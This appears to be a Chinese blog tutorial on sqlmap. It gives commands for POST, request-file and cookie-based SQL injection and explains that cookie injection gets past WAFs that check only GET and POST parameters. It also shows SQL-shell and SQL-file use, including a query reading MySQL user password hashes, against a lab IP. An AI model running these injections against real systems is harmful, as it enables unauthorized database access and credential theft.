sqlmap使用

作者: shadowflow | 来源:发表于2018-07-10 14:05 被阅读0次
post 注入:
python sqlmap.py -u “http://172.16.12.2/loginAuth.php" --method POST --data "id=1&passwd=123456" -p id
抓包注入:
python sqlmap.py -r c:/post.txt
cookie注入:

cookie注入原理:

php:使用超全局变 $_GET,$_POST来接受参数。 
asp:使用 Request.QueryString (GET)或 Request.Form (POST)来接收页面提交参数值。

有些程序员 较懒,直接这么写:

$id = $_REQUEST['id'];

这时候PHP不知道,从get 还是post方式上接收参数 ,它就会一个一个去试!,它是先取GET中的数据,没有再取POST中的数据,还会去取Cookies中的数据。 程序员还会写waf,可是他的waf可能是检测get和post的数据 但是没有检测cookie。 因此,我们只需要把数据放在cookie,就可以绕过waf的检测而且服务也可以正常接收。 这就是中转注入的原理。

默认情况下SQLmap只支持GET/POST参数的注入测试,但是当使用--level 参数且数值>=2的时候也会检查cookie时面的参数,当>=3的时候将检查User-agent和Referer。 那么这就很简单了,我们直接在原有的基础上面加上--level 2 即可验证cookie。

python sqlmap.py -u "http://172.16.12.2/test.php" --cookie "id=1" --level 2
sqlmap执行指定的sql语句:

--sql-query=QUERY

python sqlmap.py -u "http://172.16.12.2/inject.php?id=1" --sql-query="select @@version"
查询数据库版本
sqlmap交互式的sql命令

--sql-shell

python sqlmap.py -u "http://172.16.12.2/inject.php?id=1" --sql-shell

select @@datadir是查询当前数据库文件存放路径的语句

sqlmap执行文件中的sql语句

--sql-file=sql文件
在c盘下新建1.sql内容如下:

select version(); //查询数据库版本
select @@basedir;  //查询数据库存放路径
select password from mysql.user;  //查询MySQL用户密码

sqlmap中执行

python sqlmap.py -u "http://172.16.12.2/inject.php?id=1" --sql-file=c:/1.sql

相关文章

  • sqlmap使用操作

    安装好sqlmap后,可以用cmd使用sqlmap D: cd sqlmap/sqlmap python sqlm...

  • SQL注入 注入工具sqlmap

    使用 下载sqlmap后,通过命令行cd到sqlmap地址下,打开sqlmap.py(python版本要在2.7以...

  • sqlmap从入门到精通-第七章-7-1 绕过WAF脚本-apo

    7.7 sqlmap使用tamper绕过WAF 7.7.1 tamper简介 1. tamper简介 sqlmap...

  • sqlmap Detection

    --level 共有五个等级,默认为1,sqlmap使用的payload可以在/usr/share/sqlmap/...

  • sqlmap使用

    post 注入: 抓包注入: cookie注入: cookie注入原理: 有些程序员 较懒,直接这么写: 这时候P...

  • sqlmap使用

    sqlmap跑post方式的注入时,若后台对token进行验证并且token值变化,则使用简单的sqlmap -u...

  • sqlmap使用

    常用语句 简单的注入流程 python sqlmap/sqlmap.py -help 注入点:http://tes...

  • sqlmap使用

    1. sqlmap简介 SQLmap是一款用来检测与利用SQL漏洞的注入神器。开源的自动化SQL注入工具,由Pyt...

  • sqlmap使用

    sqlmap是由Python编写的渗透测试工具,主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具...

  • sqlmap使用

    环境准备: 假设存在sql注入的url是 一、基于mysql注入 a、sqlmap注入爆数据库 如下图显示,即爆出...

网友评论

    本文标题:sqlmap使用

    本文链接:https://www.haomeiwen.com/subject/hkutpftx.html